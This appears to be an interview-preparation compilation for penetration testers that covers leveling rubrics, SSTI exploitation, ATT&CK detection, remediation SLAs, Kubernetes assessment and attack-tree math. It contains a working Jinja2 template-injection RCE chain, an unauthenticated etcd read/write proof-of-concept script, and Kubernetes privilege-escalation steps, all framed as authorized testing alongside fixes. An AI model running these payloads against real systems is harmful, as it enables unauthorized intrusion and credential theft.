Staff-Level Penetration Tester Interview Preparation Guide (FAANG Standard)

Direct answer

A workable leveling framework names a small set of competency dimensions, defines observable evidence for each level within each dimension rather than a single blended score, and is calibrated across managers with a shared evidence bar, not left to individual judgment. Where a discipline splits into technical and people-leadership paths, the framework should offer parallel individual contributor (IC) and management tracks rather than forcing everyone toward a single ladder.

Structured elaboration

Choose the dimensions. Distinct competencies that don't collapse into one another, scope and ownership, domain judgment, execution and delivery reliability, collaboration and influence, and further up the ladder, mentorship or people development. Five to seven is a common ceiling so a rater can hold them all in mind for one candidate.

Define evidence per level per dimension, not an adjective. A vague label like strong technical judgment isn't gradable. A concrete description of what a rater should be able to point to is:

Offer a dual-track structure. At the point where a discipline splits, describe both the individual contributor track and the management track explicitly, with a shared foundation up to that split and different evidence after it. The IC track keeps rewarding deep domain ownership, the management track shifts the evidence toward people outcomes, without treating either as a lesser or forced default.

Calibrate across managers. A rubric applied differently by different managers isn't a shared standard. Build in a norm-setting session before each cycle where managers score anonymized example write-ups and discuss disagreement, and keep a documented set of example evidence per level that managers can compare their own candidates against.

Keep the promotion bar distinct from the good-performance bar. Conflating the two is a common source of drift, where strong performers get promoted for consistency rather than demonstrated readiness for the next level.

Worked example

"When I sketched a rubric for my own discipline I started with five dimensions, scope and ownership, domain judgment, delivery reliability, collaboration and influence, and from a certain level up, mentorship. For each I wrote concrete evidence per level, distinguishing consistently delivers assigned work with occasional guidance from identifies and scopes new work independently, and others rely on that scoping. I built in the dual-track split at the point where the discipline typically forks, the individual contributor track kept the domain-judgment dimension weighted heavily, the management track replaced the mentorship dimension with a people-outcomes dimension covering retention, growth, and team health. To calibrate, I proposed a norm-setting session before each cycle where a handful of managers scored the same two anonymized write-ups independently and discussed any gap before applying the rubric to their own teams, so the same evidence wouldn't land a promotion on one team and a not yet on another."

Trade-offs & pitfalls

• Too many dimensions makes the rubric unusable in practice, raters default back to gut feel.
• Too few collapses distinct competencies together and hides real gaps, blending technical judgment and delivery reliability can let someone who's reliable but making poor trade-off calls slide through.
• Skipping calibration is the most costly gap. Without it, the same rubric produces different outcomes on different teams, which is precisely the fairness problem it's meant to solve.
• Forcing a single ladder onto a discipline that naturally splits pushes people toward management for the promotion rather than the fit, a bad outcome for both the person and the team they might end up managing.

Direct answer

Server-side template injection (SSTI) happens when user-controlled input is placed into a template's source and then compiled/rendered by the template engine, instead of being passed as data into an already-fixed template. Because full-featured engines like Jinja2 (Python) and Twig (PHP) expose an expression language with attribute access, method calls, and filters, an attacker who can inject template syntax can often walk the engine's object graph until they reach something that executes code, escalating string interpolation into remote code execution (RCE). This is CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine). Testing it safely means proving code execution with the cheapest, least destructive signal possible and getting explicit authorization before anything beyond that.

Structured elaboration

Why the vulnerability exists

The unsafe pattern looks like this in Flask/Jinja2:

# VULNERABLE: user input becomes part of the template SOURCE
return render_template_string("Hello " + request.args.get("name") + "!")

versus the safe pattern:

# SAFE: user input is passed as DATA into a fixed template
return render_template_string("Hello {{ name }}!", name=request.args.get("name"))

In the vulnerable version, whatever the user sends is compiled as template code, not escaped as text. The same shape of bug exists in Twig when application code builds template strings by concatenating request data instead of calling render() on a fixed template file with the request data passed as an array of variables.

How to test for RCE, engine by engine

Step 1: find candidate injection points. Anywhere user input can influence a rendered document that is not obviously static HTML: profile "about me" fields later shown in a generated report, custom email/notification templates, PDF or invoice generators, "preview my page" features.

Step 2: fingerprint with a neutral arithmetic canary. Submit {{7*7}}. If the reflected output contains 49 rather than the literal string {{7*7}}, the input is being evaluated as code, not echoed as text (this is also MITRE's own canonical illustration for CWE-1336). If it reflects literally, don't stop there: try the payload in different positions and encodings (URL-decoded, inside a JSON field, inside an HTML attribute) because output encoding elsewhere in the page can mask a still-vulnerable sink.

Step 3: identify the specific engine. {{7*7}} evaluates in both Jinja2 and Twig, so a positive hit alone does not tell you which one you have. Differentiators: {{7*'7'}} yields 7777777 in Jinja2 (Python string repetition) but throws a runtime error in Twig (PHP does not overload * for strings); a deliberately malformed expression's error message, if the app is not in production mode, often names the engine and version directly.

Step 4: escalate toward code execution.

• Jinja2: walk the Python object graph from any object literal to a subprocess-capable class. The classic chain starts from ''.__class__.__mro__[1] (which is object), enumerates .__subclasses__(), and looks for a class such as subprocess.Popen that is already resident in the running process (true of most real Flask apps, since many dependencies import subprocess transitively). selectattr()/map() filters on dunder attributes of class objects are unreliable across Jinja2/Python versions (some stdlib classes support __class_getitem__, which silently shadows the dunder lookup), so a {% for %} loop with plain attribute access on the loop variable is the robust, version-portable form.
• Twig: the same escalation shape applies (prove evaluation first, then look for a reachable code-execution primitive), but the concrete mechanics differ because Twig's object model is PHP's, not Python's. Twig's sandbox (SandboxExtension) is opt-in, not default, so an application that builds template source from user input without ever enabling the sandbox is frequently directly exploitable through the object/method access Twig's expression language exposes to the template context. The exact working payload shifts with Twig version and sandbox configuration, so treat any specific gadget string as something to verify fresh against the target's Twig version (via up-to-date payload references) rather than something to memorize as universally correct.

Doing this safely in a customer's environment

1. Confirm written authorization and rules of engagement before testing anything beyond the arithmetic canary: which hosts are in scope, what testing window, whether destructive actions are ever permitted.
2. Prove impact with the least invasive technique that still constitutes real evidence: a benign, read-only command (id, whoami, hostname) or, if you want to avoid any command execution at all, a time-based blind confirmation (inject a payload that evaluates sleep(10) and measure the response delay against a control request).
3. Never run destructive commands, write outside a path you created yourself, pull or exfiltrate real customer data, or attempt to pivot/persist, unless the engagement scope explicitly authorizes it.
4. Throttle your requests; a fuzzing-style sweep of gadget payloads against a production endpoint can itself cause a denial of service.
5. Record the exact payload and response so the finding is reproducible from the report alone, and clean up any artifact you created (files, cron entries, processes) before closing out.

Worked example

Reproduced locally against a deliberately vulnerable renderer (the render_template_string(user_input) pattern above), using Jinja2 3.1.6:

import subprocess  # resident in the process, mirroring a real app's transitive imports
import jinja2

def vulnerable_render(user_input: str) -> str:
    return jinja2.Environment().from_string("Hello " + user_input + "!").render()

def safe_render(user_input: str) -> str:
    return jinja2.Environment().from_string("Hello {{ name }}!").render(name=user_input)

# Step 1: arithmetic canary
print(vulnerable_render("{{7*7}}"))
# -> 'Hello 49!'   <- confirms template EVALUATION, not just echo
print(safe_render("{{7*7}}"))
# -> 'Hello {{7*7}}!'   <- same payload, correctly inert against the safe pattern

# Step 2: locate a subprocess-capable class via a for-loop (robust across versions)
find_gadget = (
    "{% for c in ''.__class__.__mro__[1].__subclasses__() %}"
    "{% if c.__name__ == 'Popen' %}{{ c }}{% endif %}"
    "{% endfor %}"
)
print(vulnerable_render(find_gadget))
# -> "Hello <class 'subprocess.Popen'>!"

# Step 3: benign, non-destructive command execution
rce_payload = (
    "{% for c in ''.__class__.__mro__[1].__subclasses__() %}"
    "{% if c.__name__ == 'Popen' %}"
    "{{ c('id', shell=True, stdout=-1).communicate()[0].strip() }}"
    "{% endif %}{% endfor %}"
)
print(vulnerable_render(rce_payload))
# -> "Hello b'uid=...(...) gid=...(...) groups=...'!"  (exact uid/groups depend on the machine)
print(safe_render(rce_payload))
# -> the entire payload reflected as a literal string; safe_render never compiles it

Running this script produces 49 for the canary, finds subprocess.Popen through the for-loop walk, and executes id through it, while safe_render is provably immune to the identical payload because it never compiles user input as template source. This isolates the one variable that actually matters: whether input becomes template code or template data, independent of any specific gadget.

Trade-offs and pitfalls

• A negative canary is not proof of safety. Output encoding downstream, a different injection context (HTML attribute vs. text node), or a length/character filter can suppress {{7*7}} while a different position or payload still triggers evaluation. Try several positions and encodings before concluding "not vulnerable."
• "It uses a sandboxed environment" is not proof of safety either. Jinja2's SandboxedEnvironment and Twig's SandboxExtension both restrict the default object-graph walk, but sandbox escapes for both have been found repeatedly through less obvious attribute paths; sandboxing raises the bar, it does not eliminate the vulnerability class.
• The common wrong turn is reaching for a destructive or reverse-shell payload as the first test. Establish evaluation with an arithmetic canary, then escalate incrementally and stop at the minimum evidence the engagement actually needs.
• The fix is architectural, not a filter. Blocklisting characters like {{ is brittle and gets bypassed; the durable fix is to never let user input become template source in the first place, always render a fixed template file/string with user data passed as named variables.

Approach (brief)
I map pen-test TTPs to MITRE ATT&CK by: enumerate actions during an engagement, assign ATT&CK tactic/technique IDs, list telemetry that would observe each action, propose concrete detection logic, and surface likely gaps so defenders can prioritize coverage.

Example: Credential Dumping (T1003)

• Telemetry sources: Windows Security/ Sysmon (ProcessCreate, ImageLoaded), LSASS memory dumps, Endpoint EDR process artifacts, PowerShell logs, Network SMB auths.
• Detection logic: alert on suspicious tools (procdump, Mimikatz) spawning from uncommon parents; high-frequency read access to lsass.exe memory; exports of lsass dump to network shares; anomalous use of comsvcs.dll or sekurlsa hooks. Correlate with privileged logins and process hashes.
• Common gaps: lack of process-memory monitoring, disabled Sysmon/ETW, no baseline for administrative tool usage, missed obfuscated/custom loaders.

Example: Lateral Movement (T1021 / T1076)

• Telemetry sources: Windows Event Logs (4624/4648), SMB/Remote Service logs, RDP logs, EDR process creation, network flow logs.
• Detection logic: alert on credentialed remote logons from workstation-to-server; non-standard admin tools used remotely (psexec, wmiexec); one host authenticating to many endpoints in short window; new service creation + remote command execution.
• Common gaps: limited east-west network visibility, missing authentication telemetry from legacy devices, deferred logging, lack of identity-transaction correlation.

Prioritize closing gaps that expose high-impact techniques first (credential access, lateral movement) by enabling Sysmon/EDR, collecting process memory events, centralizing auth logs, and tuning baselines.

Overview / goal
Create a measurable, risk-driven remediation program that balances security urgency with release schedules while enabling teams to act quickly and visibly.

Set SLAs by severity

• Use CVSS + contextual risk (exploitability, exposure, data sensitivity) to map severities.
• Example SLA targets:
  • Critical (public exploit OR RCE on internet-facing): 72 hours to mitigate or apply compensating control; 7 days to complete fix & test.
  • High (privilege escalation, sensitive data exposure): 14 days to fix & test.
  • Medium: 30 days.
  • Low: 90 days / triage in backlog.
• Require documented risk acceptance if SLA missed; escalate after SLA breach.

Measure & report progress

• Core metrics: % of open criticals older than SLA, mean time to remediate (MTTR) by severity, backlog growth, verification lead time.
• Weekly dashboard (Jira/Jenkins/SCM tags) and monthly exec report showing trendlines, top affected services, and outstanding compensating controls.
• Include validation: penetration retest or targeted scan after remediation, with pass/fail status on dashboard.

Resolve prioritization disagreements

• Use a repeatable decision rubric (impact, exploitability, blast radius, compensating controls, customer impact).
• Convene a Risk Review Board for disputes (security lead, engineering reps, product owner). Decision logged and timeboxed.
• If stalls persist, escalate to CISO/product leadership for final decision.

Motivating teams

• Embed remediation into sprint planning: small “security debt” tickets with acceptance criteria.
• Offer paired support: pentester/engineer remediation sessions and runbooks to reduce dev effort.
• Recognize teams publicly for fast remediation; include security OKR contributions.
• Where urgent, offer temporary resource allocations (security engineers) and automate tests to lower repeat effort.
• Final step: retest within SLA window; mark verified fixes in tracker to close loop.

This approach balances measurable SLAs, clear escalation, and practical developer enablement tailored to penetration-testing findings.

Approach

• Use the etcd v3 gRPC client (python-etcd3) to connect to an unauthenticated endpoint, list keys under root, and write one non-destructive proof key with a timestamped name.
• Read-only listing plus a single small write; avoid deleting or modifying existing keys.

Code (save as etcd_poc.py)

#!/usr/bin/env python3
# Requires: pip install etcd3
import sys, time
import etcd3

def main(host, port):
    client = etcd3.client(host=host, port=int(port), timeout=5)
    # List all keys under root (etcd stores keys as bytes)
    print("Listing keys (first 100):")
    count = 0
    for value, meta in client.get_prefix("", sort_target='KEY', sort_order='ASC'):
        print(f" - {meta.key.decode('utf-8', 'replace')}")
        count += 1
        if count >= 100:
            print("...truncated")
            break

    # Write a single proof key (non-destructive)
    ts = int(time.time())
    key = f"pentest-proof:{ts}"
    val = "proof: accessible unauthenticated etcd (read+write test)"
    # Put only if key does not already exist (safe)
    success = client.transaction(
        compare=[client.transactions.create(key) == 0],
        success=[client.transactions.put(key, val)],
        failure=[]
    )
    if success:
        print(f"Wrote proof key: {key}")
    else:
        print(f"Proof key {key} already exists (unlikely).")

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage: python3 etcd_poc.py <host> <port>")
        sys.exit(1)
    main(sys.argv[1], sys.argv[2])

Usage

• Install dependency: pip install etcd3
• Run: python3 etcd_poc.py 10.0.0.5 2379

Why writable etcd is dangerous

• etcd often stores service discovery, configuration, secrets, and TLS material; unauthenticated write access allows persistence of malicious config, injection of backdoors, or exposure of secrets across the cluster and clients. Writable clusters break integrity and trust in distributed systems, enabling broad, hard-to-detect compromise.

Direct answer

I distinguish by pattern, not just output level. Burnout or disengagement usually shows up as a broad decline across previously strong areas, paired with a real change in energy or affect (a person's visible mood and emotional expression). A skill gap is usually narrower, tied to a specific type of task, and doesn't come with that affect change. Once burnout is suspected, the shift is from output-focused coaching to a wellbeing-first conversation and workload adjustment.

Distinguishing signals

The diagnostic move

Because the same output pattern (missed deadlines, lower-quality work) can come from either cause, guessing from behavior alone risks the wrong intervention. More skill-focused coaching aimed at someone who's actually burned out just adds pressure. The reliable move is to ask directly and non-accusatorially rather than only inferring, since it's the fastest way to tell the two apart.

What to do differently once suspected

Shift the conversation from task correction to workload and wellbeing. Reduce scope or redistribute urgent items in the short term rather than expecting normal output immediately. Check in more on process and how they're doing than on deliverables for a while. Point toward available support resources where they exist. Avoid escalating straight to a formal performance conversation while this is unresolved, but also avoid treating it as an indefinite excuse, set an actual review point to reassess rather than letting it run open-ended.

Worked example

A mentee whose work had been consistently strong started slipping across several unrelated tasks, not just one. The decline was recent and came with noticeably less participation in discussions, which pointed away from a narrow skill gap. A direct, private conversation surfaced an unsustainable workload building up over recent weeks. The short-term adjustment was reprioritizing their task list and explicitly deprioritizing anything non-urgent, with a check-in scheduled two weeks out to see whether things had actually improved rather than assuming they had.

Trade-offs and pitfalls

A common mistake is treating every dip in output as a skill or effort problem and escalating straight to a formal process. The stronger approach separates "can't" (skill), "won't" (motivation or disengagement), and "can't sustain right now" (burnout), because they call for different responses, while staying alert that a genuine performance issue can coexist with real burnout, one doesn't automatically rule out the other. It's also a pitfall to assume burnout excuses declining output indefinitely: there still needs to be a check-in cadence, and if it doesn't resolve, it may need to go beyond what a mentor alone can fix, involving a manager or people-ops rather than absorbing an open-ended situation solo.

I would frame the discussion around user impact, risk, and reversibility. A workaround is a temporary fix that reduces pain now, while the root issue is the underlying cause we still need to solve. I would ask: how many users are affected, how severe is the problem, and how risky is the workaround itself?

If the workaround is low risk and reversible, I would lean toward shipping it now and scheduling the root fix immediately after. For example, if users are blocked by a broken validation rule and we can safely relax it, I would ship the workaround, monitor errors, and commit to the deeper fix in the next cycle. If the workaround could corrupt data or create a bigger support burden, I would slow down and fix the root issue first.

I would make the decision explicit, document the trade-off, and assign an owner for the follow-up fix. That way the team is not pretending the workaround is the final answer, and users get relief as soon as it is safe to do so.

Approach overview (high level)

I would run a layered assessment: control plane, nodes/pods, RBAC, admission controllers, network policies, image provenance, and runtime behavior — combining automated scans (kube-bench, kube-hunter, trivy), manual inspection, and exploitation attempts.

Control plane

• Check API server flags, unauthenticated endpoints, audit logging, etc.
• Verify etcd access controls and TLS; try read-only access to etcd snapshots where permitted.

Node & pod security

• Inspect kubelet settings (anonymous auth, read-only port), hostPath mounts, privileged containers, CAP_SYS_ADMIN.
• Use kubectl exec/attach to test lateral movement; attempt container escape primitives (mounting /proc, abusing ptrace, CVEs).

RBAC

• Inventory ClusterRoleBindings and ServiceAccounts with wide scopes.
• Attempt privilege escalation via impersonation or token theft (read secrets via API).

Admission controllers

• Verify PodSecurity admission, PSP/PSA enforcement, and dynamic admission webhook behavior; bypass misconfigured webhooks.

Network policies

• Map pod-to-pod connectivity (calico/iptables) via port scans from pods; identify permissive all-allow policies.

Image provenance

• Scan images with trivy; check registries for unsigned images, use of latest tags, accessible private registries.

Runtime behavior

• Monitor processes, capabilities, syscalls; test detection by EDR; simulate persistence (create CronJobs/DaemonSets).

Exploit example: permissive PSP / ServiceAccount

• If PSP allows privileged containers or hostPath and a ServiceAccount is bound to cluster-admin, I would:
  1. create a Pod using that SA with hostPath / and privileged true;
  2. mount host filesystem and kubelet credentials (/var/lib/kubelet) to retrieve node creds;
  3. use host namespace or docker/socket to run containers on host, escalate to root and pivot to other nodes or to the API server using stolen tokens.
• If a ServiceAccount has TokenReview or secrets get, I can read other SA tokens and chain to cluster-admin.

Remediation highlights

• Enforce least privilege RBAC, restrict PSP/PSA to non-privileged, disable kubelet anonymous/read-only ports, enable audit logging, sign images, and enforce strict NetworkPolicies and admission webhooks.

Direct answer

Which algorithm applies depends entirely on the tree's gate structure and the computational complexity of the resulting problem. If every path to "administrator credentials" is joined by OR gates only, finding the minimal set of nodes to harden that blocks every path is exactly the minimum vertex cut problem, solvable exactly and efficiently via a max-flow/min-cut algorithm. The moment AND gates are involved, meaning an attacker needs multiple sibling conditions satisfied together, the exact problem becomes NP-hard, and large real-world trees are handled with a mix of exact solving on tractable sub-trees and heuristic criticality scoring rather than one algorithm applied uniformly everywhere.

Structured elaboration

OR-only sub-trees: minimum cut, polynomial time. Model the attack tree as a flow network: a source at the leaf-level entry points, a sink at the root ("administrator credentials"), and each node given a capacity representing how hard it is to compromise (or simply capacity 1 if only counting the number of nodes to harden, unweighted). The minimum set of nodes whose removal disconnects every leaf from the root is exactly the minimum vertex cut, computable via the max-flow min-cut theorem using an algorithm like Edmonds-Karp, which runs in $O(V \cdot E^2)$ time, where $V$ is the number of nodes and $E$ is the number of edges. This is the case where the algorithmic answer is clean and exact: an OR-only tree behaves exactly like a graph connectivity problem.

AND gates: NP-hard in general. Once a node requires multiple sibling conditions to all be true (an AND gate, for example "attacker needs both a leaked credential and physical proximity to badge in"), hardening one child of an AND gate is sufficient to block that path, but the defender does not know in advance which single child is cheapest to harden across every AND gate simultaneously while still covering every OR-connected alternative path. This is structurally the same problem reliability engineering has studied for decades under fault trees (attack trees and fault trees share the same AND/OR gate formalism, just with an attacker's perspective instead of a component-failure perspective): computing a minimal cut set over a general AND/OR structure is NP-hard in the number of leaf conditions. Framed as a node-selection optimization under a hardening budget, this is closely related to the critical node detection problem, also NP-hard, and to a weighted vertex cover formulation once you attach a hardening cost to each node.

Practical heuristics for large trees.

1. Decompose by gate structure: solve the OR-only sub-trees exactly via min-cut, and reserve the harder combinatorial search only for the AND-gate portions of the tree, since most large real-world attack trees are not uniformly AND-heavy.
2. Criticality scoring by path count: for each node, count the number of minimal attack paths that pass through it (a formalization used since the earliest attack-tree literature); a node touched by many otherwise-independent paths is a high-value hardening target even without solving the full optimization exactly. For combinatorially large trees where exact path counting is itself too expensive, approximate this by Monte Carlo sampling of random root-to-leaf paths rather than full enumeration.
3. Greedy iterative removal: repeatedly harden the single highest-criticality node, recompute path counts on the residual tree, and repeat; this is a standard, well-understood approximation strategy for hard covering problems and, for the pure vertex-cover special case, is known to be within a factor of 2 of optimal when driven off a maximal matching rather than raw node degree.
4. Bounded exact search: for moderate-sized AND-gate sub-trees, a fixed-parameter or integer-programming solver can find the exact optimum in practice even though the worst case is exponential, roughly $O(2^{k} \cdot (V + E))$ for a parameter $k$ representing the hardening budget, because real attack trees are shallow and sparse (bounded fan-out, limited depth) rather than adversarially dense.
5. Exploit tree structure: real attack trees have low treewidth (they are trees, or close to trees, by construction), so dynamic-programming approaches that are exponential on general graphs can become tractable when they exploit that near-tree structure directly.

Worked example

A small attack tree to "administrator credentials" has three OR-connected top-level paths: phishing an administrator directly, exploiting a stale local-privilege-escalation vulnerability on an admin workstation, and compromising a shared credential vault used by three separate admin accounts. The shared-vault path is itself gated by an AND: the attacker needs both network access to the vault service and a valid low-privilege service account to query it. Running min-cut on the OR-only top level alone would suggest hardening all three top-level paths independently; but because the vault path requires two AND-connected conditions, hardening just one of its two children (for example, revoking the low-privilege service account's query permission on the vault) is sufficient to close that entire path, which is cheaper than defending the phishing and privilege-escalation paths at the same depth. A criticality-by-path-count pass is worth running here mainly for what it does NOT say. The vault branch's two AND children, network access to the vault service and the low-privilege service account, sit on exactly the same set of attack paths by construction, so they score identically on path count; path counting can tell you the vault branch outranks the two single-leaf branches, but it can never break the tie between two children of the same AND gate. That tie is broken on hardening cost, not on criticality: revoking one service account's query permission is a configuration change, while segmenting network access to the vault is a project. It is also worth being explicit that closing the vault branch leaves the phishing and privilege-escalation branches untouched and the root goal still reachable through either of them, so this is the best FIRST hardening investment under a fixed budget, not a fix that reduces the goal's overall reachability to zero.

Trade-offs and pitfalls

The most common mistake is applying a pure minimum-cut algorithm to a tree that actually contains AND gates without adjusting for them, which understates the defender's leverage: an AND gate means the defender only needs to break one child, not harden every child the way an OR gate would require, so naively treating every gate as OR wastes hardening budget on redundant work. A second pitfall is optimizing purely for node count without weighting by actual hardening cost or actual node criticality; the mathematically minimal cut set is not automatically the cheapest or most impactful one to implement, since some nodes are far more expensive or organizationally disruptive to harden than others of equal graph-theoretic importance. A third, specific to large real-world trees, is treating the exact NP-hard formulation as unusable and defaulting straight to a rough heuristic without first checking whether the tree decomposes into tractable OR-only and small AND sub-components, which is very often true in practice and gives an exact answer for most of the tree at essentially no extra cost.

Approach

• Compute time-to-remediate in days using fixed_at or current_timestamp for ongoing items.
• Use percentile_cont (or percentile_disc depending on DB) over grouped values for 90th percentile by severity.
• Join assets for classification-based metrics.
• Consider only meaningful rows (discovered_at not null).

(a) 90th percentile time-to-remediate by severity

SELECT
  severity,
  percentile_cont(0.9) WITHIN GROUP (ORDER BY remediation_days) AS p90_days
FROM (
  SELECT
    severity,
    EXTRACT(EPOCH FROM (COALESCE(fixed_at, current_timestamp) - discovered_at)) / 86400.0 AS remediation_days
  FROM vulnerabilities
  WHERE discovered_at IS NOT NULL
) t
GROUP BY severity
ORDER BY severity;

(b) Reopen rate by asset classification

• Reopen rate = number of vulnerabilities with reopened_count > 0 divided by total vulnerabilities per classification.

SELECT
  a.classification,
  COUNT(*) FILTER (WHERE v.reopened_count > 0) * 1.0 / COUNT(*) AS reopen_rate,
  COUNT(*) AS total_vulns,
  COUNT(*) FILTER (WHERE v.reopened_count > 0) AS reopened_vulns
FROM vulnerabilities v
JOIN assets a ON v.asset_id = a.id
GROUP BY a.classification
ORDER BY reopen_rate DESC;

(c) Mean time between recurrence for assets with reopened vulnerabilities

• For assets where reopened_count > 0, approximate mean time between recurrence as (first fix to reopen intervals). If only timestamps per vulnerability exist, use reopened_count and use (time window / (reopened_count)) as estimate; better if we have history table. Using available fields:

SELECT
  v.asset_id,
  AVG(interval_days) AS mean_days_between_recurrence
FROM (
  SELECT
    asset_id,
    (EXTRACT(EPOCH FROM (COALESCE(fixed_at, current_timestamp) - discovered_at)) / 86400.0) / NULLIF(GREATEST(reopened_count,1),0) AS interval_days
  FROM vulnerabilities
  WHERE reopened_count > 0 AND discovered_at IS NOT NULL
) v
GROUP BY v.asset_id
ORDER BY mean_days_between_recurrence;

Notes & caveats

• percentile_cont syntax varies by DB (use APPROX_PERCENTILE or PERCENTILE_CONT for BigQuery/Redshift).
• For accurate recurrence timing you need an events/history table tracking each reopen; current approximation divides total lifetime by reopen count.
• Exclude bad/missing timestamps and consider timezone normalization.